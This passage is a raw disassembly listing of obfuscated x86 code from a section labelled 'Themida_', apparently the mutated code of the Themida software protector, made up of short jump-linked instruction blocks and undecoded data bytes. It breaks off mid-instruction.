dup(0) ; --------------------------------------------------------------------------- loc_56A33A: ; CODE XREF: Themida_:0055D3CCj xor esi, edi mov edi, [esp] add esp, 4 push 73D6h jmp loc_5605DC ; --------------------------------------------------------------------------- loc_56A34C: ; CODE XREF: Themida_:00567A5Aj shr dh, 1 xor dh, 0BEh add dh, 37h jmp loc_562AAD ; --------------------------------------------------------------------------- db 57h, 81h, 0ECh dd 4, 68243489h, 45E0439Ch, 5E2434FFh, 0FF3167E9h db 0FFh ; --------------------------------------------------------------------------- loc_56A371: ; CODE XREF: Themida_:0056BA95j pop edx pop ebp mov dword ptr [edi+20h], 7B091886h sub [edi+20h], edx mov edx, [esp] jmp loc_567F38 ; --------------------------------------------------------------------------- loc_56A385: ; CODE XREF: Themida_:00564BB9j add esp, 4 push eax mov eax, 0 sub eax, 1B430862h jmp loc_55FF46 ; --------------------------------------------------------------------------- db 0FFh dd 5B042474h, 0E924048Fh, 4068h ; --------------------------------------------------------------------------- loc_56A3A8: ; CODE XREF: Themida_:00570B6Dj mov [esp], bx push edx mov dh, 0B6h mov bl, dh pop edx jmp loc_56CA75 ; --------------------------------------------------------------------------- loc_56A3B7: ; CODE XREF: Themida_:0055F6CDj pop ecx add ebx, 7B9A01B1h sub ebx, ebp sub ebx, 7B9A01B1h mov ebp, [esp] add esp, 4 shr ebx, 1 push eax jmp loc_561318 ; --------------------------------------------------------------------------- dd 0F9E9CA89h db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56A3DB: ; CODE XREF: Themida_:0056D7F5j pop dword ptr [edi+24h] loc_56A3DE: ; CODE XREF: Themida_:0056F1B1j sub esp, 4 jmp loc_570FC7 ; --------------------------------------------------------------------------- db 51h, 89h, 0E1h dd 4C181h, 0C1830000h, 240C3304h, 33240C31h, 248B240Ch dd 6386E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56A406: ; CODE XREF: Themida_:0056C8A3j mov [esp], esi push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 jmp loc_572656 ; --------------------------------------------------------------------------- dd 4EC81h, 3C890000h, 0AB8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56A436: ; CODE XREF: Themida_:00561B43j mov esi, eax jmp loc_57271B ; --------------------------------------------------------------------------- loc_56A43D: ; CODE XREF: Themida_:00564618j push ebx push 751Eh mov [esp], ecx push edx push ebx mov bl, 0C1h mov dh, 24h xor dh, bl pop ebx mov cl, dh pop edx or cl, 94h jmp loc_56356A ; --------------------------------------------------------------------------- dw 0E289h dd 4C281h, 0C2810000h, 4, 5C241487h, 0E95BFD28h, 0FFFF3354h dd 4246C81h, 5EAF1E89h, 4246C81h, 6C2C615Ah, 0E9240C8Bh dd 0FFFFF36Ch ; --------------------------------------------------------------------------- loc_56A48C: ; CODE XREF: Themida_:00571BAAj push ebx push dword ptr [esp+4] pop ebx jmp loc_56EB00 ; --------------------------------------------------------------------------- dd offset dword_457444+7F24h align 4 dd 50243489h, 4B8h, 8BC68900h, 10E92404h db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A4AF: ; CODE XREF: Themida_:005633F8j mov [esp], ebx push ecx push esi mov esi, 153742F6h sub esi, 728A1A64h sub esi, 0A2AD286Eh jmp loc_564E43 ; --------------------------------------------------------------------------- dw 558h dd 4, 0FF3FC6E9h db 0FFh ; --------------------------------------------------------------------------- loc_56A4D5: ; CODE XREF: Themida_:00568B0Ej sub eax, 922AF033h jmp loc_560F41 ; --------------------------------------------------------------------------- db 53h dd 4BBh, 0E9D92900h, 0FFFF97FBh, 0E9243C89h, 0FFFFCACCh ; --------------------------------------------------------------------------- loc_56A4F4: ; CODE XREF: Themida_:005615A4j mov [esp], esp add dword ptr [esp], 4 pop edx push edi mov edi, 3A9A19FAh and edi, 1B5154D4h inc edi and edi, 21F81291h sub edi, 10108Dh add edx, 5652542Bh jmp loc_5654F6 ; --------------------------------------------------------------------------- dd 9A1D0AB9h, 0DCBD5574h, 0C13A4036h, 0C58104E5h, 0E15529Ch dd 276AE9h db 0 ; --------------------------------------------------------------------------- loc_56A539: ; CODE XREF: Themida_:0055FAB9j sub edi, 8E7B61Eh mov esi, edi pop edi shr esi, 6 jmp loc_571E01 ; --------------------------------------------------------------------------- a13LH db '1,$3,$▀$$h',0 db '^',0 align 4 dd 68241C89h, 4232h, 53240489h, 0E9D48850h, 0FFFFC5BFh dd 875EF301h, 15C241Ch, 0C3835AD3h, 241C3302h, 33241C31h dd 6EE9241Ch db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56A587: ; CODE XREF: Themida_:005619A6j add edx, 0AEB3141h add edx, ecx sub edx, 0AEB3141h mov ecx, [esp] add esp, 4 sub esp, 4 jmp loc_570B1E ; --------------------------------------------------------------------------- loc_56A5A9: ; CODE XREF: Themida_:00572222j pop ebx jmp loc_56BEBC ; --------------------------------------------------------------------------- db 0BBh dd 4, 0FFB674E9h, 0BB5353FFh, 1FA84D8Dh, 4245C29h, 0C7815F5Bh dd 1FA84D8Dh, 0E955475Bh, 0FFFF4858h, 7E06CE81h, 0E6E96BE4h db 71h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A5DF: ; CODE XREF: Themida_:0056B860j not ebp xchg ebp, esi add esi, 0CDCA5519h sub edi, esi mov esi, [esp] add esp, 4 push eax push edi mov eax, [esp] add esp, 4 jmp loc_569E41 ; --------------------------------------------------------------------------- loc_56A601: ; CODE XREF: Themida_:00562BD3j pop eax add ebx, 667700E9h jmp loc_566CFC ; --------------------------------------------------------------------------- loc_56A60D: ; CODE XREF: Themida_:0055E77Bj mov [esp], esi jmp loc_563EBD ; --------------------------------------------------------------------------- db 51h, 89h, 0E1h dd 4C181h, 0C1830000h, 240C8704h, 0D3E9565Ch, 8100001Ch dd 890371EFh, 240C8B68h, 8704C483h, 248B243Ch, 7ED86824h dd 24890000h, 24048324h, 24048F04h, 4240483h, 8124048Fh dd 42404h, 8EE90000h, 5BFFFF2Ch, 746BE9h db 0 ; --------------------------------------------------------------------------- loc_56A665: ; CODE XREF: Themida_:005716E3j pop ebp sub ebp, 7BD27926h jmp loc_55EFEE ; --------------------------------------------------------------------------- db 52h, 0E9h, 91h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A677: ; CODE XREF: Themida_:0056ABF4j mov [esp], eax mov ah, 0DFh jmp loc_56EAF6 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0DE88C388h, 0E9241C8Bh, 0FFFFD313h, 4C4815Bh, 2C000000h dd 4D028AAh, 2434FFAAh, 4C4815Ah, 52000000h, 807FB151h dd 0F18072C1h, 4EC81D8h, 0E9000000h, 0FFFF2C92h, 0C7815F54h dd 4, 4C781h, 1BE90000h, 66FFFF73h, 0E956664Bh, 0FFFF3BFFh dd 14BC181h, 0C1294122h, 14BE981h, 89584122h, 0C8E959CBh dd 80FFFF7Dh, 0EE80CFEEh, 0EB8058E4h, 7522E925h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56A6FE: ; CODE XREF: Themida_:0056A758j push edi push esi mov esi, 57E01D9Fh inc esi sub esp, 4 mov [esp], ebx push esi push ebp jmp loc_56F937 ; --------------------------------------------------------------------------- loc_56A716: ; CODE XREF: Themida_:00562AC9j mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_561667 ; --------------------------------------------------------------------------- db 89h, 0E5h, 50h dd 40B3BF57h, 0E7C17134h, 0CF814F02h, 38024177h, 627AE9h db 0 ; --------------------------------------------------------------------------- loc_56A73D: ; CODE XREF: Themida_:0056F1E6j pop esi jmp loc_56321D ; --------------------------------------------------------------------------- loc_56A743: ; CODE XREF: Themida_:00570E9Aj pop esi add edx, 6E347053h add edx, eax sub edx, 6E347053h mov eax, [esp] add esp, 4 jmp loc_56A6FE ; --------------------------------------------------------------------------- loc_56A75D: ; CODE XREF: Themida_:0056817Dj add esp, 4 push eax mov eax, esp jmp loc_561D90 ; --------------------------------------------------------------------------- loc_56A76B: ; CODE XREF: Themida_:00569D83j mov esi, 3EB837A2h add ebx, esi pop esi or ebx, 62A03803h add ebx, 5C96AD1Bh and ecx, ebx jmp loc_56D8C7 ; --------------------------------------------------------------------------- dw 433h dd 24043124h, 8B240433h, 89662424h, 0F66240Ch, 5166C8B6h dd 2B4BE99Ch, 77FFFFFFh, 2434FF3Ch, 582434FFh, 4EC81h dd 72E90000h db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56A7B7: ; CODE XREF: Themida_:0056CA77j pop bx add ch, 21h sub ch, 0B1h jmp loc_570DE7 ; --------------------------------------------------------------------------- dd 0E95AD029h, 5215h ; --------------------------------------------------------------------------- loc_56A7CC: ; CODE XREF: Themida_:0056B052j xor ecx, 420219C6h sub eax, ecx mov ecx, [esp] add esp, 4 sub eax, 566212A6h pop ebp push eax push dword ptr [esp+4] mov eax, [esp] push 3F23h mov [esp], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_55FB5A ; --------------------------------------------------------------------------- db 29h dd 4F82E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A806: ; CODE XREF: Themida_:00565C99j add bl, al sub bl, 4 sub bl, 52h add bl, 43h push cx push ebx mov bl, 0F1h sub bl, 8Ch sub esp, 4 mov [esp], eax push edx mov dh, bl mov ah, dh pop edx jmp loc_567724 ; --------------------------------------------------------------------------- loc_56A82A: ; CODE XREF: Themida_:0056D6E7j mov ebp, 2C6018B3h jmp loc_56FD1A ; --------------------------------------------------------------------------- dd 8853F086h, 0F6CB86F3h, 0E9CB86D1h, 3D58h ; --------------------------------------------------------------------------- loc_56A844: ; CODE XREF: Themida_:0056D09Fj xchg esi, [esp] not esi push esi push dword ptr [esp+4] push dword ptr [esp] pop esi add esp, 4 pop dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push ebx push esp pop ebx push ebp mov ebp, 4 add ebx, 57A14213h add ebx, 256C40C3h add ebx, ebp sub ebx, 256C40C3h sub ebx, 57A14213h mov ebp, [esp] add esp, 4 jmp loc_55EC66 ; --------------------------------------------------------------------------- dw 0D668h dd 89000074h, 68512414h, 5796h, 0B3241C89h, 0E9DD889Bh dd 0FFFF9B1Ah ; --------------------------------------------------------------------------- loc_56A8AC: ; CODE XREF: Themida_:00561562j add esp, 4 add esp, 4 add esp, 4 pop dword ptr [esp] mov esp, [esp] push ecx jmp loc_570074 ; --------------------------------------------------------------------------- dw 0E789h dd 4C781h, 0C7810000h, 2, 0E9243C87h, 0FFFF6702h, 0F2015F5Fh dd 46C0C281h, 8B5E764Fh, 89522404h, 4C281E2h, 81000000h dd 4C2h, 24148700h, 51E9565Ch, 50FFFFB0h, 6F1A7CB8h, 6B220502h dd 6805509Dh, 1ACFB7Ch, 0FE0158C7h, 4EE815Fh, 87000000h dd 895C2434h, 0F589242Ch, 24348155h, 48BF2496h, 2256E9h db 0 ; --------------------------------------------------------------------------- loc_56A939: ; CODE XREF: Themida_:00569033j pop ebp add esp, 4 add eax, 4F33FE3h add eax, edx sub eax, 4F33FE3h push ecx mov ecx, 0 add ecx, eax jmp loc_567100 ; --------------------------------------------------------------------------- dw 5456h dd 621D685Eh, 14890000h, 4BA24h, 40E90000h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_56A96B: ; CODE XREF: Themida_:00567327j push dword ptr [esp] pop edx add esp, 4 xor ecx, 6A059AAh sub ecx, 28CD3FC9h mov edx, ecx pop ecx xor edx, 4DEE5955h add edx, 0A71500D1h jmp loc_56BA43 ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 66h db 83h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A99B: ; CODE XREF: Themida_:0055EF9Aj pop ecx sub esp, 4 mov [esp], edi mov edi, esp jmp loc_55F319 ; --------------------------------------------------------------------------- dd 83241C8Bh, 34FF04C4h, 89525A24h, 0C42EE9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A9BE: ; CODE XREF: Themida_:0056372Fj sub eax, 0F00B2999h mov esi, eax pop eax jmp loc_568E6C ; --------------------------------------------------------------------------- db 50h dd 955C8DB8h, 58C52911h, 5083ED81h, 40E94133h, 89FFFFF6h dd 0B568242Ch, 89000070h, 4832424h, 2C8B0424h, 4C48324h dd 0FF67B6E9h, 0F38966FFh, 0FFE83AE9h, 6F7905FFh, 2C8B77B5h dd 4C48124h, 51000000h, 877532B9h, 116F2D12h, 3F0563A9h dd 171410Fh, 0F3F2DC8h, 0BD557141h, 63A9116Fh, 64BBE9h dd 0ED815D00h, 75AB0A3Eh, 304F581h, 0ED8178C2h, 632078BFh dd 8904EC83h, 19B82404h, 0E938E266h, 4B37h, 493CEABAh dd 0C3EA8113h, 290ADF28h, 815B5AD1h, 4C1h, 240C8700h, 68E1F75Ch dd 6904h, 50241489h, 286FE99Ch, 0C980FFFFh, 0E9D9F667h dd 0FFFFBFC6h, 4C481h, 0D8010000h, 21D6BA52h, 0D0010318h db 5Ah, 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_564CF9 ; --------------------------------------------------------------------------- dw 0D6F7h dd 0A2054096h, 31DEF551h, 0EF8158C7h, 3E51130Ah, 0C02E9h dd 5EDC100h, 17D5CD81h, 90E93B5Fh, 83FFFF2Ch, 1C8704C4h dd 8568E924h, 49B8FFFFh, 5717632h, 0A8DB2E0Eh, 0FF4C25E9h dd 0C1C781FFh, 3148643Fh, 0D6F75FFEh, 54F0EE81h, 0EA8135BBh dd 2B1D2A93h, 0FFCC83E9h, 5E5456FFh, 4BD55h, 0C6810000h dd 2E304576h, 313BC681h, 0EE015182h, 313BEE81h, 68525182h dd 2E304576h, 6F5EE95Ah, 0C1830000h, 240C8704h, 2C5815Ch dd 0E9000000h, 46A3h ; --------------------------------------------------------------------------- loc_56AB48: ; CODE XREF: Themida_:00568CFCj mov ebp, 72CB06F3h mov esi, 10F15E39h xor esi, ebp jmp loc_56424C ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 1858669Dh, 0E99C2404h, 5CF7h ; --------------------------------------------------------------------------- loc_56AB68: ; CODE XREF: Themida_:00567B9Bj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ecx, [esp] add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_56EEE3 ; --------------------------------------------------------------------------- loc_56AB8C: ; CODE XREF: Themida_:00571382j mov [esp], ebx jmp loc_5718B3 ; --------------------------------------------------------------------------- dd 81242C8Bh, 4C4h, 0E2895200h, 4C281h, 0C2830000h, 24148704h dd 3AC5815Ch, 125E332h, 0DB34E9C5h, 0F653FFFFh, 5B012454h dd 5697E9h db 0 ; --------------------------------------------------------------------------- loc_56ABC5: ; CODE XREF: Themida_:0055EC83j and eax, 54260442h add eax, 1CEA4BC5h xor eax, 2D27063Fh dec eax jmp loc_568B09 ; --------------------------------------------------------------------------- dw 0C89h dd 81E18924h, 4C1h, 0B7F6E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56ABEA: ; CODE XREF: Themida_:0057065Bj mov edx, [esp] add esp, 4 pop ebx sub esp, 4 jmp loc_56A677 ; --------------------------------------------------------------------------- a31Skz db '3,$1,$И┼z',0 align 4 aC_5 db '╡Ф',0 aSjo db 'сИJo',0 dd 148B6600h, 2C48324h, 1EC0E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56AC1A: ; CODE XREF: Themida_:00569922j mov [esp], esi mov esi, 5A9E1FB0h push 7E44h mov [esp], esi push dword ptr [esp] jmp loc_55E24F ; --------------------------------------------------------------------------- loc_56AC32: ; CODE XREF: Themida_:00560475j mov eax, esp push edi jmp loc_5680D8 ; --------------------------------------------------------------------------- loc_56AC3A: ; CODE XREF: Themida_:0056EA0Bj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edx, [esp] add esp, 4 add ebx, 4 jmp loc_562A70 ; --------------------------------------------------------------------------- loc_56AC58: ; CODE XREF: Themida_:00563625j mov ebp, 314327h and eax, ebp pop ebp push edx jmp loc_5612DD ; --------------------------------------------------------------------------- loc_56AC66: ; CODE XREF: Themida_:00562683j sub edi, 1531500Ch add edi, ebp add edi, 1531500Ch push dword ptr [esp] pop ebp jmp loc_56FD75 ; --------------------------------------------------------------------------- db 0ADh, 52h, 0E9h dd 0FFFFC117h ; --------------------------------------------------------------------------- loc_56AC84: ; CODE XREF: Themida_:00568335j dec edx add edx, 43893857h jmp loc_569B11 ; --------------------------------------------------------------------------- dd 41DEF781h, 0EC8314BEh, 24148904h, 0FFD40AE9h, 241487FFh dd 243C895Ch, 0B5470FBFh, 56EB817Fh, 2956D061h, 56BF57FBh dd 8156D061h, 363B7DC3h, 9DC38155h, 1605702h, 7CE3E9FBh dd 0C3810000h, 1C3500CDh, 2B4EEB81h, 295E2324h, 0C5015BD8h dd 4EC8358h, 68240C89h, 4, 59CD2959h, 31242C33h, 2C33242Ch dd 24248B24h, 68240C89h, 7BCEh, 51240489h, 1AB55152h, 8859EE88h dd 86B45AF1h, 8059CC28h, 0C4805AC4h, 58E188E0h, 0C8BC828h dd 4C48324h, 444268h, 240C8900h, 861AB450h, 86D7F6FCh dd 42E953FCh, 81FFFF45h, 0B16D47E3h, 81EBD121h, 0F6DC3FF3h dd 0C340507h, 8A2D3524h, 296A2557h, 0DA3DE9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56AD5E: ; CODE XREF: Themida_:0056BA86j add edx, esi push ebx mov ebx, 6AD6324Bh sub ebx, 99EC927h sub edx, ebx pop ebx jmp loc_5626A2 ; --------------------------------------------------------------------------- dd 17C66850h, 48B789Eh, 4C48124h, 51000000h, 0FE2C74B9h dd 54E18171h, 0F773A92Fh, 33F181D1h, 299D77AAh, 0C20159CAh dd 7998B951h, 0EA811320h, 559E2E60h, 0C281CA01h, 559E2E60h dd 0FFC916E9h, 240431FFh, 252FE99Ch, 0F480FFFFh, 2E4C027h dd 3111E9h db 0 ; --------------------------------------------------------------------------- loc_56ADC9: ; CODE XREF: Themida_:00565E49j push ebx mov ebx, 3B9A50E4h add eax, ebx mov ebx, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp pop ebp push esi jmp loc_56865E ; --------------------------------------------------------------------------- loc_56ADF2: ; CODE XREF: Themida_:0056FC05j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_56C095 ; --------------------------------------------------------------------------- dd offset dword_49005C+0B10Ch dw 8900h dd 43BE2434h, 4609C953h, 20BB5357h, 0E926B762h, 0FFFF5428h dd 597D3EBEh, 0E9DEF74Fh, 0FFFF400Ah, 7B61DDBDh, 5DE92928h dd 0CD2CF181h, 0EF81ED49h, 7C720C3Eh, 0C781CF29h, 7C720C3Eh dd 0DBEF8159h, 8162303Ch, 404A38C7h, 81CF0109h, 404A38EFh dd 4EC8309h, 56241C89h, 0FB437ABEh, 7FA1BB2Dh, 0F3314FCBh dd 188E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56AE76: ; CODE XREF: Themida_:005625A8j shr al, 8 neg al and al, 0FAh sub al, 0FFh sub cl, al jmp loc_5661AA ; --------------------------------------------------------------------------- dw 5259h dd 84871BAh, 0E3C38142h, 2975AC5Ch, 0E3EB81D3h, 5A75AC5Ch dd 0C381C301h, 42084871h, 30B16855h, 34890000h, 3B0BBE24h dd 0E956125Fh, 0FFFF6802h, 83241C8Bh, 0EC6804C4h, 0E900003Eh dd 0FFFF480Ah, 4C781h, 0A0680000h, 8900007Bh, 31BA2414h dd 835F9743h, 3C8904ECh, 4E1BF24h, 0D7F7314Eh, 6851E952h dd 0FF54FFFFh, 815F2434h, 4C4h, 4EC8100h, 89000000h, 6E9240Ch dd 0B1FFFF96h, 66CB288Ah, 5E3C059h, 0E957B450h, 0FFFFD37Eh dd 0BE56D787h, 0DF780003h, 815EF701h, 2A50B9C3h, 51FB0109h dd 323980B9h, 16E95775h db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56AF37: ; CODE XREF: Themida_:00565389j push edi mov edi, 4D43360Fh jmp loc_5661D8 ; --------------------------------------------------------------------------- dw 0C381h dd 0F58236F8h, 0FE9DE09h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56AF4F: ; CODE XREF: Themida_:0056866Fj sub ebp, 0CDEF92AAh jmp loc_56D6EC ; --------------------------------------------------------------------------- dw 0EA08h dd 81240C8Bh, 4C4h, 50C28000h, 805AD428h, 0F65098ECh, 58012454h dd 0E947EC80h, 0FFFFB76Dh ; --------------------------------------------------------------------------- loc_56AF7C: ; CODE XREF: Themida_:005688BAj push ebp mov ebp, esp add ebp, 4 jmp loc_56ECDA ; --------------------------------------------------------------------------- loc_56AF8A: ; CODE XREF: Themida_:0055EB0Dj pop dword ptr [esp] mov esp, [esp] mov [esp], eax sub esp, 4 mov [esp], esi push 6C2A09AFh mov esi, [esp] add esp, 4 and esi, 5B91121Eh xor esi, 2E2A2988h jmp loc_55DC87 ; --------------------------------------------------------------------------- loc_56AFB8: ; CODE XREF: Themida_:0056CBAEj push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] jmp loc_567F52 ; --------------------------------------------------------------------------- loc_56AFCD: ; CODE XREF: Themida_:00563CB1j pop ebx push edx mov edx, 6A91A20h xor ebx, edx jmp loc_56BA11 ; --------------------------------------------------------------------------- aXsG db 'XИоg',0 db 0 ; --------------------------------------------------------------------------- loc_56AFE1: ; CODE XREF: Themida_:00569025j mov ecx, [esp] add esp, 4 add esp, 4 jmp loc_567C71 ; --------------------------------------------------------------------------- dw 8059h dd 0F82827C7h, 79CCE95Bh, 0DF01FFFFh, 83241C8Bh, 0BA5204C4h dd 555444Dh, 0FFCB62E9h, 0D830ACFFh, 0FF2FF7E9h db 0FFh ; --------------------------------------------------------------------------- loc_56B019: ; CODE XREF: Themida_:0056DD89j not ebp inc ebp sub esp, 4 mov [esp], edi mov edi, 3C38410Ch and ebp, edi pop edi or ebp, 96A011Ch or ebp, 110F436Dh jmp loc_561D88 ; --------------------------------------------------------------------------- dw 0A34h dd 8B58C300h, 0E957240Ch, 0FFFF675Fh ; --------------------------------------------------------------------------- loc_56B04C: ; CODE XREF: Themida_:0056F13Cj push ecx mov ecx, 26A93675h jmp loc_56A7CC ; --------------------------------------------------------------------------- db 89h dd 8F68243Ch, 5F117D28h, 0E908EFC1h, 0FFFFC070h, 0EBB6E956h dd 47BFFFFFh, 817D4464h, 0E87D61F7h, 0FC12E95Fh, 295BFFFFh dd 434BE9FEh, 0E956FFFFh, 0FFFF8928h, 241C875Ah, 0E924248Bh dd 0FFFF247Eh, 0A091E959h, 0F680FFFFh, 66CEFE91h, 0E9C1B151h dd 78C6h, 33241431h, 665C2414h, 50240C8Bh, 0FF6DF9E9h db 0FFh ; --------------------------------------------------------------------------- loc_56B0BD: ; CODE XREF: Themida_:0055F20Bj push esp jmp loc_561488 ; --------------------------------------------------------------------------- db 66h dd 2D66F801h, 0E95F788Ah, 0FFFF8DFEh ; --------------------------------------------------------------------------- loc_56B0D0: ; CODE XREF: Themida_:00564570j pop ebp or ecx, 1D3B0DD5h push 642Ch mov [esp], esi push 6E16h mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_563723 ; --------------------------------------------------------------------------- dw 815Ah dd 4ECh, 0A604E900h, 0E953FFFFh, 0FFFF895Bh, 1E44F581h dd 0C5811A33h, 0B5ADAA9Dh, 4EC81h, 0B8E90000h, 81000009h dd 80D0E6C1h, 59CE214Ah, 5E515646h, 7330E9h, 4C48300h dd 6858E328h, 4A5Fh, 51241489h, 0C181E189h, 4, 4E981h dd 0C870000h, 0C7E95C24h db 42h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B15B: ; CODE XREF: Themida_:00572804j push eax pop esi mov eax, [esp] add esp, 4 not eax push esi push eax pop esi jmp loc_571BB9 ; --------------------------------------------------------------------------- db 81h, 0EBh, 0F0h dd 0E9699819h, 0FFFF6C50h, 240C8B66h, 703568h, 241C8900h dd 40AB68h, 2FA0E900h, 0E9410000h, 0FFFF8367h, 6425E951h dd 0CF80FFFFh, 2CEF80F0h, 0F8C280h, 0F8EA80FAh, 81241C8Bh dd 4C4h, 3EAC000h, 0F280CAFEh, 30E23064h, 0FEE230D4h, 885166C4h dd 88D488E1h, 0C8B66CAh, 2C48124h, 80000000h, 59E96AF2h dd 0AC00005Fh, 8904EC83h, 0E950240Ch, 0FFFF91ECh ; --------------------------------------------------------------------------- loc_56B1E8: ; CODE XREF: Themida_:0056FF78j mov edx, 4 sub ecx, edx jmp loc_56661F ; --------------------------------------------------------------------------- a_psQ db '_PИ╤Q',0 db 0 ; --------------------------------------------------------------------------- loc_56B1FB: ; CODE XREF: Themida_:0057278Fj pop ebx pop dword ptr [esp] not ebx xchg ebx, [esp] pop ebp jmp loc_56B846 ; --------------------------------------------------------------------------- loc_56B20A: ; CODE XREF: Themida_:005681E4j push dword ptr [esp] pop edx jmp loc_56FD4C ; --------------------------------------------------------------------------- db 0BFh dd 348F21F1h, 3C8BFB29h, 4C48324h, 15E4EB81h, 0C3016FF1h dd 15E4C381h, 9DE96FF1h, 8BFFFF6Ah, 0C481241Ch, 4, 7CB368h dd 243C8900h, 0DBBF5751h, 8957453Ch, 0CF895FF9h, 592434FFh dd 104C483h, 0D007E9FBh, 0C581FFFFh, 0AE1AE8D5h, 34FFEB89h dd 242C8B24h, 8304C483h, 0D82904C4h, 2404875Bh, 8924248Bh dd 4DE9241Ch, 89000002h, 4C281E2h, 81000000h, 4C2h, 24143300h dd 33241431h, 515C2414h, 0FF2399E9h, 46E959FFh, 89FFFF20h dd 4C681E6h, 83000000h, 343304EEh, 365CE924h, 15AFFFFh dd 3AE959CEh, 80000029h, 0EF80B0EFh, 86F78033h, 0EF80DFF6h dd 0EEE7E974h, 1C87FFFFh, 89575C24h, 4C781E7h, 81000000h dd 4C7h, 243C8700h, 0C367E95Ch, 0F780FFFFh, 8BFC3061h dd 0C481241Ch, 4, 88E38853h, 48B5BDAh, 4C48324h, 0D000F02Ch dd 8092B551h, 0B050D0CDh, 4C8FEC7h, 34D0F6AFh, 58C530A8h dd 0C8BE800h, 4C48124h, 0FF000000h, 565A2434h, 0E952E689h dd 0FFFF21EDh, 10F468h, 24248900h, 4240481h, 5F000000h dd 4BB53h, 0C7810000h, 1BE73DB2h, 0EF81DF01h, 1BE73DB2h dd 4BD555Bh, 29000000h, 0EF52E9EFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_56658E ; --------------------------------------------------------------------------- aQhenbgsS db 'QhenbGИЛS',0 db 0 ; --------------------------------------------------------------------------- loc_56B381: ; CODE XREF: Themida_:0056B554j mov edi, 0EB92210h inc edi jmp loc_560424 ; --------------------------------------------------------------------------- dd 0E9243487h, 0FFFF9304h, 4EC81h, 3C890000h, 2798E924h dd 3C8BFFFFh, 0CC47E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B3AA: ; CODE XREF: Themida_:005638F0j mov ebx, edx jmp loc_563740 ; --------------------------------------------------------------------------- loc_56B3B1: ; CODE XREF: Themida_:00566A87j add esp, 4 xor ebx, eax push 6174h mov [esp], eax jmp loc_55FACA ; --------------------------------------------------------------------------- dw 0EA81h dd 7CF571EDh, 0FFED40E9h, 0EBB53FFh, 0E93D270Fh, 3000h dd 2414895Ch, 204968h, 48F5400h, 24048124h, 4, 5224148Bh dd 0FF4152E9h, 0E9F301FFh, 0FFFF8E7Ch, 4C3815Bh, 83000000h dd 0D4E904C3h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B40F: ; CODE XREF: Themida_:0056F787j pop edi sub ebx, 7A154DFAh xor edx, ebx mov ebx, [esp] add esp, 4 and eax, edx mov edx, [esp] add esp, 4 shr eax, 18h xor eax, ecx push 2C47h mov [esp], eax jmp loc_571104 ; --------------------------------------------------------------------------- dd 3024248Bh, 0C0B60FC3h, 0FF8734FFh, 48B2434h, 0F223E924h dd 0C483FFFFh, 51526604h, 96B653B1h, 3059CE30h, 815A66F3h dd 2ECh, 0C896600h, 0FA99E924h, 0C281FFFFh, 13AF4EFBh dd 0EA81FA01h, 13AF4EFBh, 0FFE76DE9h db 0FFh ; --------------------------------------------------------------------------- loc_56B481: ; CODE XREF: Themida_:0056BDDBj pop esi pop dword ptr [esp] pop esp mov [esp], esi push eax push 808h mov [esp], ebp mov ebp, 340D0BF6h sub ebp, 5A0B551Dh jmp loc_569326 ; --------------------------------------------------------------------------- loc_56B4A2: ; CODE XREF: Themida_:0056DDF1j not eax xor eax, 58E8A040h jmp loc_571534 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 4C3815Bh, 81000000h, 2C3h, 0EAE95300h, 0FFFFFF27h dd 0E9592434h, 42E0h, 241C8B54h, 81E78957h, 4C7h, 4C78100h dd 87000000h, 565C243Ch, 765859BEh, 0C5E68161h, 55645312h dd 924160BDh, 49ED814Dh, 4D0B400Fh, 0C108E5C1h, 0C58107EDh dd 6BEB653Ch, 0BF20E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B512: ; CODE XREF: Themida_:0056973Ej xor edi, 40400905h add eax, edi mov edi, [esp] add esp, 4 add eax, 4 xchg eax, [esp] jmp loc_55E98D ; --------------------------------------------------------------------------- loc_56B52B: ; CODE XREF: Themida_:0055F5A1j add eax, 4 xchg eax, [esp] mov esp, [esp] shr eax, 0Ch xor eax, ecx sub esp, 4 mov [esp], eax not dword ptr [esp] mov eax, [esp] push ecx mov ecx, esp push 